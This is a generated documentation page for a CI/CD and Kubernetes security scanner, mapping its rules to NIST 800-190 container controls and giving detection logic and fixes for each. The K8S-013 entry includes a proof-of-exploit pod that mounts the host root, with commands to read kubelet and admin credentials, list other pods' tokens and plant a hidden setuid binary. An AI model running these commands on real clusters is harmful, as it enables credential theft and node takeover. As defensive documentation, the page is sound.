Evidences: 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. There is no application use case for hostPID. Only specialised node agents (process exporters, debuggers) legitimately need it, and those are typically deployed via a system DaemonSet with an explicit security review.

Recommendation. Set spec.hostPID: false (the default) on every workload. hostPID: true makes every host process visible inside the container, and combined with privileged execution allows trivial escape via nsenter / /proc/<pid>/root.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: K8S-003 in the Kubernetes provider.

K8S-004: Pod hostIPC: true HIGH 🔧 fix

Evidences: 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Modern applications coordinate via gRPC / sockets, never via host IPC. Treat this flag as a strong red flag in code review unless paired with a documented system-level use case.

Recommendation. Set spec.hostIPC: false (the default) on every workload. hostIPC: true lets the container read and write the host's shared-memory segments and POSIX message queues, exposing data exchanged by every other process on the node.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: K8S-004 in the Kubernetes provider.

K8S-005: Container securityContext.privileged: true CRITICAL 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. privileged: true is the strongest possible escalation in Kubernetes. It overrides every other securityContext setting and is the single largest cluster-takeover vector after RBAC misconfiguration.

Recommendation. Remove securityContext.privileged: true from every container. A privileged container has full access to the host's devices and capabilities, escape to the node is trivial. If the workload genuinely needs a kernel capability, grant only that capability via capabilities.add rather than enabling privileged mode.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: K8S-005 in the Kubernetes provider.

K8S-006: Container allowPrivilegeEscalation not explicitly false HIGH 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. The default for non-root containers is True (Pod Security Standard 'baseline' allows this; 'restricted' does not). An explicit false is required because Kubernetes treats an unset field as a deferral to the cluster admission controller, which may not enforce restricted.

Recommendation. Set securityContext.allowPrivilegeEscalation: false on every container. The Linux no_new_privs flag stops setuid binaries and capabilities from gaining elevated privileges, without this, a compromised process can escape via setuid utilities still installed in many base images.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: K8S-006 in the Kubernetes provider.

K8S-007: Container runAsNonRoot not true / runAsUser is 0 HIGH 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. A container is considered safe when EITHER its own securityContext OR the pod-level securityContext sets runAsNonRoot: true and a non-zero runAsUser. An explicit runAsUser: 0 always fails, even if runAsNonRoot is unset.

Recommendation. Set securityContext.runAsNonRoot: true and runAsUser: <non-zero UID> on every container, OR set the same fields at pod level so all containers inherit. Running as UID 0 inside a container makes container-escape exploits dramatically more dangerous, the attacker already has root inside the container, so any kernel CVE that matters becomes immediately exploitable.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: K8S-007 in the Kubernetes provider.

K8S-008: Container readOnlyRootFilesystem not true MEDIUM 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Many post-exploitation toolchains (cryptominers, persistence implants, shell-callbacks) assume a writable root. Locking it down forces the attacker to use distroless or runtime tmpfs they can't easily place.

Recommendation. Set securityContext.readOnlyRootFilesystem: true on every container. A read-only root filesystem stops attackers from dropping additional payloads into /tmp, /var, or writable system paths. Mount tmpfs emptyDir volumes for the directories the application genuinely needs to write to.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: K8S-008 in the Kubernetes provider.

K8S-009: Container capabilities not dropping ALL / adding dangerous caps HIGH

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Fails when the container does NOT drop ALL or when capabilities.add includes any of: SYS_ADMIN, NET_ADMIN, SYS_PTRACE, SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, SYS_RAWIO, SYS_BOOT, BPF, PERFMON, or the literal ALL.

Recommendation. Drop every capability and add back only what the workload actually needs:

securityContext:
  capabilities:
    drop: ["ALL"]
    add: ["NET_BIND_SERVICE"]   # only if binding <1024

Most stateless services need no capabilities at all. Avoid SYS_ADMIN (effectively root), SYS_PTRACE (process snooping), NET_ADMIN (raw socket access), and SYS_MODULE (kernel module loading).

Source: K8S-009 in the Kubernetes provider.

K8S-010: Container seccompProfile not RuntimeDefault or Localhost MEDIUM

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Pod-level securityContext.seccompProfile covers all containers in the pod. Either path passes this rule. The default of Unconfined (or unset, which inherits the node default, usually Unconfined) fails.

Recommendation. Set securityContext.seccompProfile.type: RuntimeDefault (or Localhost with a path to your tuned profile) at either pod or container level. Without seccomp, every syscall is reachable from the container, modern kernel CVEs (e.g. io_uring) become trivially exploitable.

Source: K8S-010 in the Kubernetes provider.

K8S-011: Pod serviceAccountName unset or 'default' MEDIUM

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings.

How this is detected. Both an unset serviceAccountName (which defaults to default) and an explicit serviceAccountName: default fail the rule. Pair this with K8S-012 to also disable token auto-mounting where the workload doesn't need API access.

Recommendation. Bind every workload to a dedicated, narrow ServiceAccount. The 'default' SA exists in every namespace and tends to accrete RoleBindings over time, using it gives the workload every privilege any other service in the namespace ever needed. Create a per-workload SA with the minimum RBAC needed and reference it via spec.serviceAccountName.

Source: K8S-011 in the Kubernetes provider.

K8S-012: Pod automountServiceAccountToken not false MEDIUM

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings.

How this is detected. An unset value defaults to True in Kubernetes. This rule fails on unset because most application workloads do NOT need API access and the default exposes credentials by accident. Workloads that explicitly call the API should set the field to true so the choice is visible in code review.

Recommendation. Set spec.automountServiceAccountToken: false on every workload that doesn't need to talk to the Kubernetes API. Auto-mounted SA tokens are a free credential for an attacker who lands a shell, without explicit opt-out the token sits at /var/run/secrets/kubernetes.io/serviceaccount/token ready to be exfiltrated. If the workload needs API access, leave it true but pair with a tight, dedicated RBAC role.

Source: K8S-012 in the Kubernetes provider.

K8S-013: Pod uses a hostPath volume HIGH 🔧 fix

Evidences: 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Some legitimate system DaemonSets need hostPath (log collectors, CSI node plugins). Those should be deployed with explicit security review and a narrow path:; this rule fires regardless because application workloads should never use hostPath.

Recommendation. Replace hostPath volumes with configMap, secret, emptyDir, persistentVolumeClaim, or CSI volumes. hostPath opens a direct read/write window onto the node's filesystem; combined with even mild container compromise it gives the attacker access to other pods' data, kubelet credentials, and the container runtime.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Seen in the wild.

  • CVE-2021-25741 (Kubernetes subpath symlink escape): a container with hostPath plus subpath could traverse outside the volume boundary and read or modify arbitrary host files. Exploitable on any cluster permitting hostPath to non-system workloads.
  • TeamTNT / Kinsing crypto-jacking campaigns (2020-2022): cluster compromise reports repeatedly traced lateral movement from a single misconfigured pod to the underlying node via hostPath:/, then to kubelet credentials and other tenants. Sysdig and Aqua incident reports document the pattern.

Proof of exploit.

Vulnerable: pod mounts the host's root filesystem.

apiVersion: v1 kind: Pod metadata: name: attacker spec: containers: - name: shell image: busybox command: ["sleep", "infinity"] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / # full node filesystem

Attack from a shell inside the container:

# Read kubelet credentials and pivot to API server:

cat /host/var/lib/kubelet/kubeconfig

cat /host/etc/kubernetes/admin.conf

# Read service account tokens for every other pod on

# the node and impersonate them:

ls /host/var/lib/kubelet/pods//volumes/kubernetes.io~projected//token

# Drop a setuid binary and pin persistence on the host:

cp /bin/busybox /host/usr/local/bin/.bd

chmod 4755 /host/usr/local/bin/.bd

Safe: use scoped volume types that don't bridge to the host.

spec: volumes: - name: data persistentVolumeClaim: claimName: app-data

Source: K8S-013 in the Kubernetes provider.

K8S-014: Pod hostPath references a sensitive host directory CRITICAL

Evidences: 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Stricter than K8S-013: that rule flags any hostPath, this one upgrades to CRITICAL when the path is one of the well-known cluster-escape vectors.

Recommendation. Never mount the container runtime socket (/var/run/docker.sock, containerd.sock, crio.sock), kubelet credentials (/var/lib/kubelet), the cluster config (/etc/kubernetes), the host root (/), or /proc / /sys / /etc into a workload container. Each of these is a one-line cluster takeover. If a container genuinely needs node-level metrics, use an exporter DaemonSet with a narrowly-scoped read-only mount.

Source: K8S-014 in the Kubernetes provider.

K8S-015: Container missing resources.limits.memory MEDIUM

Evidences: 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Init containers and ephemeral containers are also checked: a leaking init container holds a slot on the node until it completes and can crowd out other pods just as readily as an application container.

Recommendation. Set resources.limits.memory on every container. Without a memory limit, a leaking or compromised container can consume the node's RAM until the kernel OOM-kills neighbouring pods, taking down workloads that share the node. Pair the limit with a requests.memory to inform the scheduler.

Source: K8S-015 in the Kubernetes provider.

K8S-016: Container missing resources.limits.cpu LOW

Evidences: 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Lower severity than K8S-015 because CPU throttling is self-healing (workloads slow down rather than die) and some controllers (e.g. SchedulerProfile, LimitRange) supply a cluster-default cpu limit transparently.

Recommendation. Set resources.limits.cpu on every container. CPU throttling is the kernel's defense against a neighbour consuming all node cycles, without a limit, a compromised container can stall everything else on the node, including the kubelet. Pair the limit with a requests.cpu for scheduling.

Source: K8S-016 in the Kubernetes provider.

K8S-017: Container env value carries a credential-shaped literal CRITICAL

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Reuses _primitives/secret_shapes, flags AKIA-prefixed AWS access keys outright, plus credential-named keys (API_KEY, DB_PASSWORD, SECRET_TOKEN) when the value is a non-empty literal. valueFrom entries are always safe (no inline value).

Recommendation. Replace literal env[].value entries that hold credentials with env[].valueFrom.secretKeyRef or envFrom.secretRef. A literal env value lives in the manifest YAML. It gets committed to git, surfaced by kubectl get pod -o yaml, and embedded in audit logs. Externalising into a Secret (and ideally a SealedSecret / ExternalSecret / SOPS-encrypted source) keeps the value out of the manifest.

Source: K8S-017 in the Kubernetes provider.

K8S-018: Secret stringData/data carries a credential-shaped literal CRITICAL

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Walks both stringData (plain text) and data (base64). Base64-encoded values are decoded and checked for AKIA-shaped AWS keys. Credential-shaped key NAMES with any non-empty value are flagged regardless of encoding, even if the value is the literal placeholder REPLACE_ME, having the name in the manifest is a maintenance footgun.

Recommendation. A Kind: Secret manifest committed to git defeats every secret-management story Kubernetes claims to provide, the base64 encoding in data is not encryption. Replace with SealedSecrets (Bitnami), ExternalSecrets / ESO, SOPS-encrypted manifests, or HashiCorp Vault Agent injection. If the manifest must remain in git, the only acceptable contents are placeholders that are filled in by an operator at apply time.

Source: K8S-018 in the Kubernetes provider.

K8S-022: Service exposes SSH (port 22) MEDIUM

Evidences: 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Mirrors DF-013 (EXPOSE 22 in a Dockerfile) at the Service level. The check fires on Service ports whose port or targetPort is 22, regardless of Service type, a NodePort/LoadBalancer 22 is dramatically worse but a ClusterIP 22 still indicates an sshd container somewhere.

Recommendation. Containers should not run sshd. If you need an interactive shell into a running pod, use kubectl exec (subject to RBAC) or kubectl debug. Removing the port-22 Service removes a pre-auth network surface that's a frequent lateral-movement target after initial cluster compromise.

Source: K8S-022 in the Kubernetes provider.

K8S-036: ServiceAccount imagePullSecrets references missing Secret MEDIUM

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Cross-doc correlation: walks every ServiceAccount's imagePullSecrets and confirms the named Secret exists in the same namespace within the manifest set. Misses two cases: secrets created out-of-band (Sealed Secrets, External Secrets, or operator-applied ones) and SAs whose namespace is implicit / not declared in the manifest set. For those, the rule passes, false-negative-friendly.

Recommendation. Create the missing Kind: Secret of type: kubernetes.io/dockerconfigjson (or dockercfg) in the same namespace before applying the ServiceAccount, or fix the imagePullSecrets reference name. A dangling reference doesn't fail apply, kubelet silently falls back to anonymous registry pulls on every image fetch. Workloads either pull a different image than the operator intended or fail at runtime with ImagePullBackOff after the registry rate-limits the unauthenticated client.

Known false positives.

  • Manifests rendered for partial deployment where the secret lives in a parallel manifest set the scanner doesn't see (separate ArgoCD application, Vault-injected, ESO-synced). Add # pipeline-check: ignore K8S-036 or ignore the specific SA name to silence.

Source: K8S-036 in the Kubernetes provider.

K8S-037: ConfigMap data carries a credential-shaped literal HIGH

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Companion to K8S-018 (which scans Kind: Secret). Walks ConfigMap data and binaryData for AKIA-shaped AWS keys and credential-shaped key NAMES. Even when the value is a placeholder, having api_key: REPLACE_ME in a ConfigMap is a maintenance footgun, someone will fill it in and commit. RBAC scoping for configmaps is typically much broader than secrets, so any credential leak via this path reaches a wider audience.

Recommendation. Move the value out of the ConfigMap. Secrets belong in Kind: Secret (better: SealedSecrets, ExternalSecrets / ESO, SOPS-encrypted manifests, or HashiCorp Vault Agent injection). ConfigMaps are intended for non-sensitive config and are mounted into pods without the access controls Secrets carry, the RoleBinding for configmaps:get is typically far broader than the one for secrets:get. A credential in a ConfigMap is effectively unprotected once any pod can read the namespace's config.

Known false positives.

  • ConfigMaps that legitimately carry placeholder names (DEBUG_TOKEN_FORMAT, LICENSE_KEY_HEADER) where the VALUE is a format hint rather than a credential. Rename the key to avoid the credential-shaped name.

Source: K8S-037 in the Kubernetes provider.

K8S-039: Pod uses shareProcessNamespace: true MEDIUM

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. shareProcessNamespace: true makes every container in the pod share a single PID namespace. Any container can then enumerate every other container's processes (ps), read their environment variables and CLI args from /proc/<pid>/, send them signals, and (with the right capabilities) ptrace them. A compromised sidecar, debug shell, logging agent, observability exporter, gets a free pivot into every primary container's secrets. The default is false; setting it explicitly to true is the failing shape.

Recommendation. Drop spec.shareProcessNamespace: true from the pod spec. Containers in the pod will go back to having isolated PID namespaces, each sees only its own processes, can't ptrace neighbors, and can't read their /proc/<pid>/environ for env-var-leaked secrets. If the requirement is sidecar-style log collection or process-level cooperation, prefer a sidecar pattern that exchanges data through a shared volume rather than collapsing the namespace.

Known false positives.

  • Debug pods that explicitly need ps / strace across container boundaries, but those are typically ephemeralContainers attached to a running pod, not long-lived pod specs in a manifest. If a permanent workload genuinely requires it, ignore the rule with a documented justification.

Source: K8S-039 in the Kubernetes provider.

K8S-040: Container securityContext.procMount: Unmasked HIGH

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. procMount: Unmasked is rarely needed in practice. It exists for nested-container / KubeVirt scenarios where the container itself runs an inner container runtime that needs to set up its own /proc masking. For an ordinary application container, Unmasked is a runtime-isolation regression that exposes kernel-information paths and writable /proc/sys entries to the workload. Pod Security Standards classify Unmasked as 'restricted'-violating; the rule fires when any container (containers, initContainers, ephemeralContainers) explicitly sets procMount: Unmasked.

Recommendation. Remove securityContext.procMount: Unmasked (or set it explicitly to Default). The default Default procMount type masks several kernel- and node-information paths under /proc (/proc/asound, /proc/acpi, /proc/kcore, /proc/keys, /proc/latency_stats, /proc/timer_list, /proc/timer_stats, /proc/sched_debug, /proc/scsi) and remounts /proc/sys as read-only. These maskings are what stop a container from reading the host's kernel structures or writing to /proc/sys and breaking the kernel out of namespace isolation. Unmasked undoes all of that.

Source: K8S-040 in the Kubernetes provider.

LMB-003: Lambda function env vars may contain plaintext secrets HIGH

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Lambda env vars are world-readable to any principal with lambda:GetFunctionConfiguration, much wider than the principal that can invoke the function. They also persist in CloudFormation drift, change-sets, and CloudTrail events. A secret in a Lambda env var is essentially exposed to anyone with read access to the account.

Recommendation. Move secrets out of Lambda environment variables and into Secrets Manager or SSM Parameter Store. Environment variables are visible to anyone with lambda:GetFunctionConfiguration and persist in CloudTrail events, which keeps the secret in audit logs.

Source: LMB-003 in the AWS provider.

PBAC-001: CodeBuild project has no VPC configuration HIGH

Evidences: 4.4.3 Unbounded network access from containers, egress not restricted.

How this is detected. A CodeBuild project with no VPC configuration runs in AWS-managed network space, egress to the public internet is unrestricted, every package registry / CDN / arbitrary endpoint is reachable. Inside a VPC, security-group + VPC-endpoint policies become the egress gate, which is the only practical way to limit a compromised build's exfiltration paths.

Recommendation. Configure the CodeBuild project to run inside a VPC with appropriate subnets and security groups. Use a NAT gateway or VPC endpoints to control outbound internet access and restrict build nodes to only the network resources they require.

Source: PBAC-001 in the AWS provider.

PBAC-003: CodeBuild security group allows 0.0.0.0/0 all-port egress MEDIUM

Evidences: 4.4.3 Unbounded network access from containers, egress not restricted.

How this is detected. A security-group egress rule of 0.0.0.0/0 on all ports/protocols means a compromised build can connect to any endpoint on the internet, typosquat-package registry, C2 server, attacker-owned dump endpoint. Even when the build is inside a VPC (PBAC-001), this egress rule negates the network-side gating.

Recommendation. Restrict CodeBuild security-group egress to the specific endpoints builds need (package registries, artifact repositories, STS). A wildcard egress rule lets a compromised build exfiltrate to anywhere on the internet.

Source: PBAC-003 in the AWS provider.

S3-005: Artifact bucket missing aws:SecureTransport deny MEDIUM

Evidences: 4.2.1 Insecure connections to registries (no TLS / cert validation bypassed).

How this is detected. S3 endpoints accept HTTP and HTTPS by default. Without an explicit Deny on aws:SecureTransport=false, a plaintext request, typically from a misconfigured client or a SDK with a stale endpoint, is honored if signed. The bucket policy Deny is the only enforcement; no account-level switch covers it.

Recommendation. Add a Deny statement for s3:* with Bool aws:SecureTransport=false.

Source: S3-005 in the AWS provider.

TKN-001: Tekton step image not pinned to a digest HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Applies to Task and ClusterTask kinds. The image must contain @sha256: followed by a 64-char hex digest. Any tag-only reference, including :latest, fails.

Recommendation. Pin every step image to a content-addressable digest (gcr.io/tekton-releases/git-init@sha256:<digest>). Tag-only references (alpine:3.18) and rolling tags (alpine:latest) let a compromised registry update redirect the step at the next pull, with no audit trail in the Task manifest.

Source: TKN-001 in the Tekton provider.

TKN-002: Tekton step runs privileged or as root HIGH

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Detection fires on a step with securityContext.privileged: true, securityContext.runAsUser: 0, securityContext.runAsNonRoot: false, securityContext.allowPrivilegeEscalation: true, or no securityContext block at all.

Recommendation. Set securityContext.privileged: false, runAsNonRoot: true, and allowPrivilegeEscalation: false on every step. A privileged step shares the node's kernel namespaces; a malicious or compromised step image then has root on the build node, breaking the boundary between build and cluster.

Source: TKN-002 in the Tekton provider.

TKN-004: Tekton Task mounts hostPath or shares host namespaces CRITICAL

Evidences: 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Checks spec.volumes[].hostPath (legacy v1beta1 form), spec.workspaces[].volumeClaimTemplate.spec.storageClassName == 'hostpath', and spec.podTemplate host-namespace flags.

Recommendation. Use Tekton workspaces: backed by emptyDir or persistentVolumeClaim instead of hostPath. Drop hostNetwork: true / hostPID: true / hostIPC: true on the Task's podTemplate. A hostPath mount of /var/run/docker.sock or / lets the build break out of the pod and act as the underlying node.

Source: TKN-004 in the Tekton provider.

TKN-005: Literal secret value in Tekton step env or param default CRITICAL 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Strong matches: AWS access keys, GitHub PATs, JWTs. Weak match: env var name suggests a secret (*_TOKEN, *_KEY, *PASSWORD, *SECRET) and the value is a non-empty literal rather than a $(params.X) / valueFrom reference.

Recommendation. Mount secrets via env.valueFrom.secretKeyRef (or a volumes: Secret mount) instead of writing the value into env.value or params[].default. Task manifests are committed to git and cluster-readable; literal values leak through normal access paths.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: TKN-005 in the Tekton provider.

TKN-013: Tekton sidecar runs privileged or as root HIGH

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. TKN-002 hardens the spec.steps list. Tekton's spec.sidecars list runs alongside the steps in the same pod, but a sidecar's container image and command come from a separate place in the manifest, so a Task with hardened steps and a privileged sidecar (a common pattern when wrapping docker:dind) leaves the same kernel-namespace gap TKN-002 was meant to close. The detection mirrors TKN-002: fires on a sidecar with securityContext.privileged: true, runAsUser: 0, runAsNonRoot: false, allowPrivilegeEscalation: true, or no securityContext block at all.

Recommendation. Set securityContext.privileged: false, runAsNonRoot: true, and allowPrivilegeEscalation: false on every sidecar in spec.sidecars. A privileged sidecar is the same escape vector as a privileged step, it shares the pod's network and kernel namespaces, and a compromised sidecar image owns the entire TaskRun's execution surface.

Known false positives.

  • Tasks that genuinely need docker:dind as a sidecar, e.g. building images inside the cluster without giving the step itself host-Docker access. The replacement pattern is Kaniko or BuildKit running as the step itself, with no privileged sidecar; if neither is viable, ignore TKN-013 in .pipeline-check-ignore.yml for the affected Task.

Source: TKN-013 in the Tekton provider.


This page is generated. Edit pipeline_check/core/standards/data/nist_800_190.py (mappings) or scripts/gen_standards_docs.py (intro / per-control prose) and run python scripts/gen_standards_docs.py nist_800_190.